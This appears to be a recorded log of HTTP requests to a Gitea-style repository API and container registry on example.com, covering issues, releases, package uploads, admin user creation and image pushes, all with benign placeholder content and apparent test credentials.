{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
|
||||||
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
|
||||||
{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
